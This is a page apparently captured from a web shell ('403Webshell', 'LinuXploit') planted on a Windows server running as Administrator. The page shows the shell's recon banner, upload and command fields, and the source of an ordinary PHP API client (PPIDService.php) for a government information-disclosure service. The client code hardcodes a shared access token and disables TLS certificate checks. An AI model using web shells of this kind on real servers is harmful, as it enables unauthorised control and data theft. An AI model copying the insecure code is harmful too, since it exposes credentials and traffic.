403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd_/admin/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkd_/admin/lib/PPIDService.php
<?php
// bpkd/admin/lib/PPIDService.php

class PPIDService {
    
    protected $apiUrl;
    protected $apiToken;
    protected $opdName;
    protected $tokenApi;
    protected $tokenApiAllOpd; // ← TAMBAHKAN
    protected $currentMode = 'BPKD'; // ← TAMBAHKAN
    
    public function __construct($config) {
        $this->apiUrl = rtrim($config['api_url'], '/');
        $this->apiToken = $config['api_token'];
        $this->opdName = $config['opd_name'];
        $this->tokenApi = $config['token_api'] ?? $config['api_token'];
        $this->tokenApiAllOpd = $config['token_api_allopd'];// ?? $config['api_token']; // ← TAMBAHKAN
    }

    /**
     * Set mode OPD untuk VIEW saja
     * - 'bpkd' → gunakan token_api BPKD
     * - 'allopd' → gunakan token_api_allopd
     */
    public function setViewMode($mode) {
        $this->currentMode = $mode;
    }
    
    /**
     * Get token untuk VIEW (getRekapKonten)
     */
    protected function getViewToken() {
        if ($this->currentMode === 'allopd') {
            return $this->tokenApiAllOpd;
        }
        return $this->tokenApi;
    }
    
    /**
     * Get opd_name untuk VIEW
     */
    protected function getViewOpdName() {
        if ($this->currentMode === 'allopd') {
            return 'all'; // Atau nama khusus ALL OPD dari admin PPID
        }
        return $this->opdName;
    }
    
    protected function sendPost($endpoint, $data = [], $useTokenHeader = false) {
        $url = $this->apiUrl . '/' . ltrim($endpoint, '/');
        
        $headers = [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type: application/x-www-form-urlencoded'
        ];
        
        if ($useTokenHeader) {
            $headers[] = 'Token: ' . $this->apiToken;
        }
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_POSTFIELDS => http_build_query($data),
            CURLOPT_HTTPHEADER => $headers
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error) {
            error_log("PPID cURL Error: " . $error); 
            return ['error' => true, 'message' => 'Connection failed: ' . $error];
        }
        
        if ($httpCode !== 200) {
            error_log("PPID API Error [{$httpCode}]: " . substr($response, 0, 500));
            return ['error' => true, 'code' => $httpCode, 'message' => $response];
        }
        
        $decoded = json_decode($response, true);
        if ($decoded !== null) {
            return $decoded;
        }
        
        return ['error' => false, 'message' => trim($response), 'raw' => $response];
    }
    
    protected function sendGet($endpoint, $params = []) {
        $url = $this->apiUrl . '/' . ltrim($endpoint, '/');
        if (!empty($params)) {
            $url .= '?' . http_build_query($params);
        }
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_HTTPHEADER => [
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error) {
            error_log("PPID cURL Error: " . $error);
            return ['error' => true, 'message' => 'Connection failed: ' . $error];
        }
        
        if ($httpCode !== 200) {
            error_log("PPID API Error [{$httpCode}]: " . substr($response, 0, 500));
            return ['error' => true, 'code' => $httpCode];
        }
        
        return json_decode($response, true);
    }
    
    protected function sendMultipart($endpoint, $data, $files = []) {
        $url = $this->apiUrl . '/' . ltrim($endpoint, '/');
        
        $headers = [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Token: ' . $this->apiToken
        ];
        
        $postData = [];
        foreach ($data as $key => $value) {
            $postData[$key] = $value;
        }
        
        foreach ($files as $field => $filePath) {
            if (file_exists($filePath)) {
                $postData[$field] = new CURLFile($filePath);
            }
        }
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_POSTFIELDS => $postData,
            CURLOPT_HTTPHEADER => $headers
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error) {
            return ['error' => true, 'message' => 'Upload failed: ' . $error];
        }
        
        $decoded = json_decode($response, true);
        if ($decoded !== null) {
            return $decoded;
        }
        
        return ['error' => false, 'message' => trim($response), 'raw' => $response];
    }
    
    // ============================================================
    // ENDPOINT METHODS
    // ============================================================
    
    public function getDokumen() {
        return $this->sendPost('web-service/get-dokumen', [
            'skpd' => $this->opdName
        ]);
    }
    
    public function getDip($kategori = '', $pencarian = '', $limit = 0, $offset = 0) {
        $params = [
            'username' => 'umum',
            'token' => 'umum@lumajangkab.go.id',
            'skpd' => $this->opdName
        ];
        if (!empty($kategori)) $params['kategori'] = $kategori;
        if (!empty($pencarian)) $params['pencarian'] = $pencarian;
        if ($limit > 0) $params['limit'] = $limit;
        if ($offset > 0) $params['offset'] = $offset;
        
        return $this->sendGet('web-service/index', $params);
    }
    
    public function uploadDip($judul, $informasi, $filePath) {
        return $this->sendMultipart('web-service/upload-dip', [
            'judul' => $judul,
            'informasi' => $informasi
        ], ['file' => $filePath]);
    }
    
    public function updateDip($id, $judul, $informasi, $filePath = null) {
        $data = [
            'id' => $id,
            'judul' => $judul,
            'informasi' => $informasi
        ];
        $files = [];
        if ($filePath && file_exists($filePath)) {
            $files['file'] = $filePath;
        }
        return $this->sendMultipart('web-service/update-dip', $data, $files);
    }
    
    public function hapusDip($id) {
        return $this->sendPost('web-service/hapus-dip', [
            'id' => $id
        ], true);
    }
    
    public function uploadDokumen($kategori, $filePath, $id = null) {
        $data = ['kategori' => $kategori];
        if ($id) $data['id'] = $id;
        return $this->sendMultipart('web-service/upload-dokumen', $data, ['file' => $filePath]);
    }
    
    public function getPermohonan($type = 'all', $belumDijawab = 0) {
        return $this->sendPost('web_service/opd', [
            'type' => $type,
            'belum_dijawab' => $belumDijawab
        ], true);
    }
    
    public function getPermohonanDetail($id) {
        return $this->sendPost('web_service/opd', [
            'type' => 'detail',
            'id_permohonan' => $id
        ], true);
    }
    
    public function balasPermohonan($id, $jawaban) {
        return $this->sendPost('web_service/post_balas', [
            'token_api' => $this->tokenApi,
            'id_permohonan' => $id,
            'jawaban' => $jawaban
        ]);
    }
    
    public function syncBerita($judul, $link, $egovNewsId) {
        return $this->sendPost('web_service/post_berita_dinas', [
            'token_api' => $this->tokenApi,
            'judul' => $judul,
            'link' => $link,
            'egov_news_id' => $egovNewsId,
            'opd_name' => $this->opdName
        ]);
    }
    
    public function getRekapKonten($filters = []) {
        $data = array_merge([
            'token_api' => $this->getViewToken(),    // ← DIUBAH dari $this->tokenApi
            'opd_name'  => $this->getViewOpdName()   // ← DIUBAH dari $this->opdName
        ], $filters);
        return $this->sendPost('web_service/get_rekap_konten', $data);
    }
        
    public function saveRekapKonten($judul, $tipe, $kategori, $sumber, $link = '', $id = null) {
        $data = [
            'token_api' => $this->tokenApi,
            'opd_name' => $this->opdName,
            'judul' => $judul,
            'tipe' => $tipe,
            'kategori' => $kategori,
            'sumber' => $sumber,
            'link' => $link
        ];
        if ($id) $data['id'] = $id;
        return $this->sendPost('web_service/save_rekap_konten', $data);
    }
    
    public function deleteRekapKonten($id) {
        return $this->sendPost('web_service/delete_rekap_konten', [
            'token_api' => $this->tokenApi,
            'opd_name' => $this->opdName,
            'id' => $id
        ]);
    }
    
    public function deleteRekapKontenByEgovId($egovNewsId) {
        return $this->sendPost('web_service/delete_rekap_konten', [
            'token_api' => $this->tokenApi,
            'opd_name' => $this->opdName,
            'egov_news_id' => $egovNewsId
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit